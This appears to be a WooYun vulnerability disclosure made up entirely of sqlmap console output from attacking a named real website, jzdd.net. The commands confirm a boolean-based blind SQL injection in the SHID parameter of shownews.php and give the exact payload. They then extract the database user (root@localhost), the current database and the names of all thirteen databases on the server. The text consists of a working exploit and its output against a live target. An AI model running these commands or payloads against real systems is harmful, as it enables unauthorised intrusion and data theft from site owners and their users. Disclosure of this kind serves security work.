WooYun.org

D:\sqlmap>sqlmap.py -u "http://www.jzdd.net/shownews.php?SHID=32255"
    sqlmap/0.9 - automatic SQL injection and database takeover tool
    http://sqlmap.sourceforge.net
[*] starting at: 21:54:37
[21:54:38] [INFO] using 'D:\sqlmap\output\www.jzdd.net\session' as session file
[21:54:38] [INFO] testing connection to the target url
[21:54:39] [INFO] testing if the url is stable, wait a few seconds
[21:54:41] [WARNING] url is not stable, sqlmap will base the page comparison on
a sequence matcher. If no dynamic nor injectable parameters are detected, or in
case of junk results, refer to user's manual paragraph 'Page comparison' and pro
vide a string or regular expression to match on
how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit]
[21:54:42] [INFO] testing if GET parameter 'SHID' is dynamic
[21:54:44] [WARNING] GET parameter 'SHID' is not dynamic
[21:54:44] [WARNING] heuristic test shows that GET parameter 'SHID' might not be
 injectable
[21:54:44] [INFO] testing sql injection on GET parameter 'SHID'
[21:54:44] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[21:54:46] [INFO] GET parameter 'SHID' is 'AND boolean-based blind - WHERE or HA
VING clause' injectable
[21:54:46] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[21:54:46] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[21:54:47] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[21:54:49] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[21:54:50] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[21:54:50] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[21:54:50] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[21:54:50] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[21:54:55] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[21:54:55] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[21:54:55] [INFO] testing 'Oracle AND time-based blind'
[21:54:55] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[21:54:59] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[21:54:59] [WARNING] using unescaped version of the test because of zero knowled
ge of the back-end DBMS
GET parameter 'SHID' is vulnerable. Do you want to keep testing the others? [y/N
] \
sqlmap identified the following injection points with a total of 36 HTTP(s) requ
ests:
---
Place: GET
Parameter: SHID
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: SHID=32255 AND 7461=7461
---
[21:55:03] [INFO] testing MySQL
[21:55:04] [INFO] confirming MySQL
[21:55:08] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, PHP 5.2.17
back-end DBMS: MySQL >= 5.0.0
[21:55:08] [INFO] Fetched data logged to text files under 'D:\sqlmap\output\www.
jzdd.net'
[*] shutting down at: 21:55:08
D:\sqlmap>sqlmap.py -u "http://www.jzdd.net/shownews.php?SHID=32255" --dbs --cur
rent-user --current-db
    sqlmap/0.9 - automatic SQL injection and database takeover tool
    http://sqlmap.sourceforge.net
[*] starting at: 21:55:25
[21:55:25] [INFO] using 'D:\sqlmap\output\www.jzdd.net\session' as session file
[21:55:25] [INFO] resuming injection data from session file
[21:55:25] [INFO] resuming back-end DBMS 'mysql 5' from session file
[21:55:25] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: SHID
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: SHID=32255 AND 7461=7461
---
[21:55:27] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, PHP 5.2.17
back-end DBMS: MySQL 5
[21:55:27] [INFO] fetching current user
[21:55:27] [INFO] retrieved: root@localhost
current user:    'root@localhost'
[21:57:29] [INFO] fetching current database
[21:57:29] [INFO] retrieved: jzddxinzhan999
current database:    'jzddxinzhan999'
[21:59:53] [INFO] fetching database names
[21:59:53] [INFO] fetching number of databases
[21:59:53] [INFO] retrieved: 13
[22:00:00] [INFO] retrieved: information_schema
[22:02:00] [INFO] retrieved: discuzz
[22:03:01] [INFO] retrieved: duoduo
[22:03:40] [INFO] retrieved: jzddcom
[22:04:30] [INFO] retrieved: jzddxinzhan999
[22:06:14] [INFO] retrieved: kubuluomysql
[22:07:40] [INFO] retrieved: mysql
[22:08:15] [INFO] retrieved: performance_schema
[22:10:22] [INFO] retrieved: test
[22:10:55] [INFO] retrieved: ucenter
[22:11:52] [INFO] retrieved: uchome
[22:12:41] [INFO] retrieved: vgou
[22:13:09] [INFO] retrieved: zhaosheng
available databases [13]:
[*] discuzz
[*] duoduo
[*] information_schema
[*] jzddcom
[*] jzddxinzhan999
[*] kubuluomysql
[*] mysql
[*] performance_schema
[*] test
[*] ucenter
[*] uchome
[*] vgou
[*] zhaosheng
[22:14:14] [INFO] Fetched data logged to text files under 'D:\sqlmap\output\www.
jzdd.net'
[*] shutting down at: 22:14:14